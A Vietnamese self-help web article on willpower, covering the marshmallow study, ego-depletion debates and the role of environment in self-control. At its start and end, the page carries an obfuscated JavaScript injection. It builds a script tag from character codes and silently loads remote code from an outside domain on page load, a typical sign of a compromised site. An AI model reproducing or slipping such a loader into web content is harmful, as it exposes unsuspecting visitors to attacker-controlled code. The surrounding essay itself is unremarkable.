Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Sức mạnh ý chí – Biểu hiện mới của lòng tự trọng

Sức mạnh ý chí – Biểu hiện mới của lòng tự trọng

Mọi người luôn cố gắng tự kiểm soát hoặc kiềm chế cảm xúc và hành động, từng bước đi luôn đúng hướng theo các mục tiêu đã chọn. “Sức mạnh trong cuộc đời bạn được đo lường bởi sức mạnh ý chí của bạn” theo Henry Van Dyke. Bởi vậy mà, nhiều người cho rằng chìa khóa để nâng cao giá trị cuộc sống là họ phải có một ý chí mạnh mẽ.

Tự kiểm soát bản thân là một quá trình bền bỉ là đầy thách thứ, thậm chí, nó còn khó hơn những trải nghiệm kinh khủng mà bạn đang đối mặt trong cuộc sống. Chỉ có chính bản thân bạn mới có thể quyết định bạn có muốn tự kiểm soát bản thân hay không. Bác trai tôi đã từng là một người nghiện thuốc lá nặng trong nhiều năm công tác ở đơn vị. Một hôm con gái bác thủ thỉ với bác rằng “ Ba ơi, ba đừng hút thuốc nữa, mẹ có em bé rồi”. Ngày hôm sau, bác tôi liền bỏ thuốc cho đến tận bây giờ. Thời gian đó cũng đã được hơn 40 năm rồi. Bác tôi thường nhắc lại câu chuyện này cho con cháu nghe, đặc biệt là 2 anh con rể. Hồi đó, nghe chị tôi nói “Ba đừng hút thuốc nữa” bác tôi nghĩ bỏ là bỏ luôn vì từ trước đến giờ đã có ai nhắc bác tôi bỏ thuốc đâu. Đến khi có người nhắc nhở mình như vậy có nghĩa là hành động của mình đang gây ảnh hưởng trực tiếp đến những người xung quanh rồi. Tôi nghe xong thấy phục bác thật. Ngày nay, trên các phương tiện thông tin truyền thông cứ ra rả các khẩu hiệu, quảng cáo về tác hại của thuốc lá; thế mà số người nghiện thuốc lá đâu có giảm và số người chết vì do các bệnh liên quan đến thuốc lá vẫn tăng đó thôi.

Nếu bạn là nhân tố quyết định sự tự kiểm soát để bản thân tốt hơn, đến cuối cùng bạn chắc chắn sẽ có thể từ bỏ những món đồ ăn vặt dư thừa calo, cắt giảm ngân sách chi tiêu không thiết thực, dậy sớm và tập thể dục thường xuyên hơn, lập danh sách những việc cần làm và giữ vững mọi mục tiêu trong năm tới. Điều này hoàn toàn có cơ sợ, bởi nghiên cứu đã chỉ ra rằng các phương pháp tự kiểm soát từ thời thơ ấu sẽ biểu thị kết quả tích cực khi người đó trưởng thành.

Sức mạnh ý chí là bệ phóng đưa con người đến với thành công. Như vậy, sức mạnh ý chí dường như đã sẵn sàng để trở thành đặc điểm cá nhân ma thuật, nó là biểu hiện mới của lòng tự trọng, xây dựng bệ phóng cho sự thành công và tất cả chúng ta đều có thể được rèn luyện để sở hữu sức mạnh này. Tuy nhiên, hành trình xây dựng sức mạnh ý chí luôn bắt đầu với lời hứa tuyệt vời và sự phô trương, cuối cùng kết quả nhận lại giống như một cái xì hơi, một lời cảnh báo được bảo đảm về sức mạnh thực sự của ý chí để truyền tải sự cường điệu.

“Kiểm soát bản thân (Self-control) là sự tự chủ (self-mastery). Nó là vương quyền của mọi cuộc đời.”

Đối với một người, sự hiểu biết về sức mạnh ý chí tiền ẩn trong bản thân họ rất nghèo nàn và nông cạn và phần lớn những gì họ nghĩ rằng họ đã biết phải làm như thế nào thì đã quá muộn. Ví dụ về nghiên cứu Marshmallow (Kẹo dẻo) nổi tiếng của Walter Mischel, trong đó những trẻ 4 tuổi ở một mình trong căn phòng với một chiếc kẹo dẻo để trước mặt. Chúng có hai lựa chọn ăn chiếc kẹo dẻo ngay lập tức hoặc phải chờ đợi thêm 15 phút nữa mới được ăn thì sẽ có thêm 1 chiếc kẹo dẻo nữa. Nghiên cứu này đã tạo ra sức hút lớn và sự quan tâm rộng rãi. Những đứa trẻ với khả năng tự chủ cao nhất, những đứa mà có thể chờ để được nhân đôi số kẹo chúng đang có thì lớn lên sẽ trở thành những người quyết đoán hơn – những người mà có điểm cao hơn trong các bài kiểm tra, có những mối quan hệ tốt đẹp và có cuốc sống thành công hơn.

Một nghiên cứu khác kiểm tra 36 tính cách khác nhau của một nhóm trẻ em, chỉ có duy nhất một đặc điểm là ý chí mà sau này sẽ gắn kết chặt chẽ với điểm số của chúng ở trường đại học. Thực tế, sự tương quan giữa ý chí và điểm GPA còn mạnh hơn mối tương quan giữa điểm số trong tương lai và các chỉ số IQ (chỉ số thông minh) hay SAT (bài kiểm tra đánh giá năng lực chuẩn hóa).

Mischel đã ghi nhận gần đây rằng “các quy trình thông tin nhận thức cụ thể cho phép trì hoãn sự hài lòng chưa được mô tả rõ ràng.” Nói cách khác, trong khi các phương pháp tự kiểm soát có thể dự đoán thành công mà nó mang lại nhưng dự đoán không giúp tìm ra nguyên nhân. Điều này có nghĩa là, dấu hiệu răng ố vàng có thể dự đoán ung thư phổi, nhưng răng ố vàng không gây ung thư. Sức mạnh ý chí cũng tương tự, có thể chỉ là một biện pháp hoặc tương quan của các yếu tố nguyên nhân chưa được biết đến.

Hơn nữa, nghiên cứu gần đây đã gợi ý rằng những gì xuất hiện vào thời điểm đó là hiệu ứng sức mạnh ý chí (khả năng chờ đợi phần thưởng bị trì hoãn) có thể là một thứ khác hoàn toàn khác, cụ thể là sức mạnh của kinh nghiệm, kỳ vọng và địa vị xã hội. Cụ thể, trẻ em được phát triển trên các nền tảng xã hội đặc quyền hơn (nền tảng ít hỗn loạn hơn, môi trường dễ dự đoán hơn) có thể học được rằng chờ đợi là phần thưởng đáng tin cậy. Trẻ em từ những môi trường nghèo nàn, hỗn loạn hơn có thể học được rằng “nhận được điều tốt” là chiến lược hợp lý.

Một nghiên cứu mới hơn từ nhà tâm lý học Roy Baumeister đã đưa ra lập luận rằng sức mạnh ý chí là một nguồn lực hạn chế, nó bị cạn kiệt do sử dụng nhiều, vì một cơ bắp sẽ mệt mỏi sau một thời gian vận động dài. Xuất phát từ ý tưởng này là một quan điểm cho rằng việc rèn luyện khả năng tự kiểm soát sẽ được cải thiện bằng cách tập luyện cơ bắp. Cả hai quan điểm này đã bị chỉ trích. Một số nghiên cứu về sự cả cám dỗ và kháng cự cũng không tìm thấy hiệu ứng suy giảm đáng kể của sự tự kiểm soát. Một số nghiên cứu cũng đã gợi ý rằng thực hành tự kiểm soát không dẫn đến sự cải thiện như mong đợi.

Cuộc tranh luận liên quan đến bản chất chính xác của ý chí tiếp tục. Tuy nhiên, bất kể sức mạnh ý chí được nhìn như thế nào, tham vọng mà nó thể hiện cho việc tìm kiếm một nguồn lực bên trong có thể tự thay đổi cuộc sống của mình, sống trong căn cứ run rẩy.

Hiện nay, có nhiều tranh luận liên quan đến bản chất của sức mạnh ý chí. Tuy nhiên, bất kể sức mạnh ý chí được nhìn nhận như thế nào, sự tương quan cao giữa mức độ ý chí và những gì bạn vươn tới trong cuộc đời luôn hiện hữu. Tất cả thành công, hạnh phúc và sự hài lòng sẽ đạt được bằng cách tối thiểu hóa những lo lắng, điều tiêu cực và tối đa hóa các quyết định và thói quen tích cực.

Do đó, không quá khi mô tả ý chí như là chất lượng tuyệt đối không thể thay thế trong việc quyết định những gì đạt được trong cuộc đời bạn – bất kể bạn sẽ là một siêu nhân hay là người thường, nhà vua hay nô lệ, con người hay là một con chuột.

Về mặt khái niệm, bất kỳ phân tích nào liên quan đến sức mạnh ý chí được cho là không đầy đủ và thiếu sức thuyết phục nếu không có những cuộc thảo luận liên quan đến các yếu tố bối cảnh xã hội. Jerome Kagan đã nói, các nhà tâm lý học gặp rắc rối khi họ sử dụng các từ trừu tượng để biểu thị các quá trình tâm lý bí mật trong khi không chỉ định loại hình tác nhân, tình huống mà tác nhân đang hành động và nguồn chứng cứ cho sự gán ghép. ”

Sử dụng các khái niệm trừu tượng (như sức mạnh ý chí) sẽ tránh bối cảnh, vì trải nghiệm thực tế của một tác nhân trong một bối cảnh khác biệt về mặt chất lượng so với bối cảnh khác. Thật vô lý khi nói rằng sự lo lắng của một con chuột được biểu thị bằng sự giật mình khi gặp tiếng động lớn, giống như sự lo lắng của một cô dâu trong ngày cưới của mình, vì vậy thật vô nghĩa khi nghĩ rằng sức mạnh ý chí của một đứa trẻ để mắt đến một chiếc kẹo dẻo (marshmallow) cũng giống như trải nghiệm của một kẻ nghiện rượu đang cố gắng bỏ rượu.

Và ngay cả khi ta đồng ý đình chỉ quy tắc này, với mục đích đơn giản hóa và xem xét các quy trình nội bộ và bối cảnh môi trường một cách riêng biệt, thì chính điều đó đã chiến thắng trong cuộc cạnh tranh ảnh hưởng đến kết qu . Trong phạm vi mà những cái đó có thể được tách ra, hành vi của chúng ta nằm dưới sự kiểm soát tình huống nhiều hơn là dưới sự kiểm soát của những đặc điểm bên trong của chúng ta. Tốc độ bạn di chuyển từ thành phố này sang thành phố khác phụ thuộc nhiều vào đường xá, luật giao thông và phương tiện giao thông có sẵn hơn là đặc điểm tính cách của bạn .

Làm chủ người khác là sức mạnh. Làm chủ bản thân là quyền lực đích thực – Lão Tử.

Sức mạnh ý chí  hay ý chỉ là khả năng tự kiểm soát bản thân và các quyết định hành động của một người. Đó là khả năng trì hoãn sự tưởng thưởng và lựa chọn những phần thưởng lâu dài thay vì cái lợi trước mắt.

Nhiều nghiên cứu cũng ủng hộ cho quan điểm rằng sức mạnh ý chí  hay ý chí và khả năng trì hoãn sự tưởng thưởng cực kỳ quan trọng cho một cuộc sống thành công và năng suất.

Trong thực tế, nghiên cứu cho thấy rằng những người thành công trong cuộc sống đã vượt qua những cạm bẫy hành vi và những cám dỗ rủi ro, giữ vững sự nỗ lực bền bỉ và hướng đến mục tiêu đã đặt ra. Hoặc một người bị trật bánh ra khỏi guồng quay cuộc sống vì họ đã quyết định quá vội vàng cho những lợi ích ngắn hạn. Lợi ích của việc tự kiểm soát mang lại những phần thưởng giá trị được biểu hiện bằng lòng tự trọng, giá trị bản thân và cuộc sống họ đang sở hữu. Những cá nhân có khả năng tự kiểm soát cao áp dụng những thói quen tự động tốt hơn cho cuộc sống, do đó giảm tiếp xúc với các tình huống cần tự kiểm soát.

Sự yếu kém của trí tưởng tượng trong sức mạnh ý chí càng rõ ràng hơn khi bạn nhìn vào những “thách thức ý chí” thường được coi là “thách thức”. Ta lấy ví dụ về béo phì chẳng hạn. Chỉ bằng trực giác, ta có thể thấy sự gia tăng của bệnh béo phì hiện nay là do một số sự suy giảm đột ngột một cách thảm hại về sức mạnh ý chí trung bình của một số bộ phận dân số. Nguyên nhân này có thể đúng nhưng chưa đủ. Các loại thực phẩm thừa calo đang chiếm ưu thế và được bày bán tràn lan, bạn có thể dễ dàng mua nó bất cứ lúc nào. Sự tăng cân của bạn ít liên quan đến sức mạnh ý chí của bạn và bạn đã nhiều thứ các loại thực phẩm xung quanh bạn.

Thật là sai lầm khi quy kết rằng một người không thể chống lại sự cám dỗ là một sự thất bại của ý chí, thiếu kiên định. Lý do bạn thất bại trong việc thay đổi hành vi hay thói quen của mình là vì bạn thiếu ý chí thật ngớ ngẩn. Việc tập trung vào ý chí là nguyên nhân chính chỉ có lợi cho những người nắm giữ quyền lực thể chế trong văn hóa. Chừng nào bạn còn tự trách mình vì vô số thất bại của mình, bạn sẽ ít tìm kiếm những trở ngại về cấu trúc xã hội đang thực sự phá hoại sự tiến bộ của bạn.

Lời nhắn

Tóm lại, nếu xung quanh quanh bạn là những chiếc kem tuyệt hảo và bạn chỉ dựa vào sức mạnh ý chí để ngăn chặn việc nuông chiều bản thân trong thời kì giảm cân không phải là chiến lược dài hạn tốt nhất của bạn.

Lập kế hoạch tốt và hiệu qua, như kế hoạch giảm cân bao gồm tập gym, ăn theo chế độ của huấn luyện viên. Loại bỏ những thói quen không tố như rẽ vào hàng quán bên lề đường để thưởng thức những chiếc bánh nóng hổi hay xiên thịt nướng thơm lừng và hình thành thói quen tốt tránh xa những con phố ăn uống tập nập, sắp xếp môi trường theo những cách hữu ích (không giữ bất kì hộp đồ ăn vặt nào trong phòng).

(Dunji, Sưu tầm và biên soạn)

Digiprove sealCopyright secured by Digiprove © 2019 Tran  Minh
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();